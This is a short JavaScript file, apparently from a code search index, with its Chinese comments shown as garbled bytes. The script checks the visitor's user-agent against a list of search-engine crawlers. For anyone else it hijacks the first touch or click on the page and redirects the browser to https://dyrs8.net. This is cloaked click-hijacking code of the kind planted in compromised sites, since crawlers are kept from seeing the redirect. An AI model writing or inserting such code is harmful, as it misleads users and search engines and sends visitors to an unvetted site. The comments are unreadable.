1// 1. å®ä¹éè¦è¿æ»¤ç UA å ³é®åå表ï¼è½¬ä¸ºå°åï¼ 2const blockedBots = [ 3 // ç¾åº¦ 4 'baiduspider', 5 6 // è°·æ 7 'googlebot', 8 'adsbot-google', 9 'mediapartners-google', 10 11 // 微软 Bing / Yahoo 12 'bingbot', 13 'msnbot', 14 'slurp', 15 16 // Yandex 17 'yandexbot', 18 'yandexmobilebot', 19 'yandeximages', 20 21 // æç 22 'sogou', 23 24 // 360 æç´¢ 25 '360spider', 26 27 // åèè·³å¨ / å¤´æ¡ 28 'bytespider', 29 30 // DuckDuckGo 31 'duckduckbot', 32 33 // ç¥é©¬æç´¢ (UC) 34 'yisouspider' 35]; 36// 2. æ£æ¥å½åæµè§å¨ç User-Agent 37function isBlockedBot() { 38 const currentUA = (navigator.userAgent || '').toLowerCase(); 39 // 夿å½å UA æ¯å¦å å«å表ä¸çä»»ä½å ³é®è¯ 40 return blockedBots.some(bot => currentUA.includes(bot)); 41} 42 43// 3. 跳转æ§å¶ä¸äºä»¶ç»å® 44function setupRedirect(targetUrl) { 45 // 妿æ¯å¹é å°çç¬è«/ç¹å® UAï¼ç´æ¥è¿åä¸ç»å®äº¤äºäºä»¶ 46 if (isBlockedBot()) { 47 console.log('æ£æµå°ç¹å® UAï¼è·³è¿äºä»¶ç»å®'); 48 return; 49 } 50 51 // ç¶ææ è®°ï¼é²æ¢ touchstart å click å¨ç§»å¨ç«¯éå¤è§¦å 52 let isTouched = false; 53 54 function doRedirect(e) { 55 // 黿¢é»è®¤è¡ä¸ºï¼é²æ¢è§¦ååççè¶ é¾æ¥ææ»å¨è¡ä¸ºï¼ 56 if (e.cancelable) { 57 e.preventDefault(); 58 } 59 window.location.href = targetUrl; 60 } 61 62 // çå¬ç§»å¨ç«¯è§¦æ¸äºä»¶ 63 document.addEventListener('touchstart', function(e) { 64 isTouched = true; 65 doRedirect(e); 66 }, { passive: false }); 67 68 // ç嬿¡é¢ç«¯ç¹å»äºä»¶ 69 document.addEventListener('click', function(e) { 70 // 妿已ç»ç± touchstart 触åè¿ï¼å忽ç¥åç»å»¶è¿äº§çç click äºä»¶ 71 if (isTouched) { 72 isTouched = false; 73 return; 74 } 75 doRedirect(e); 76 }); 77} 78 79 80// çå¾ DOMå è½½å®æååæ§è¡åå§å 81if (document.readyState === 'complete' || document.readyState === 'interactive') { 82 // å»¶è¿æ§è¡ç¡®ä¿noticeConfigå·²å®ä¹ 83 setupRedirect('https://dyrs8.net'); 84} else { 85 document.addEventListener('DOMContentLoaded', function () { 86 // å»¶è¿æ§è¡ç¡®ä¿noticeConfigå·²å®ä¹ 87 setupRedirect('https://dyrs8.net'); 88 }); 89}
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.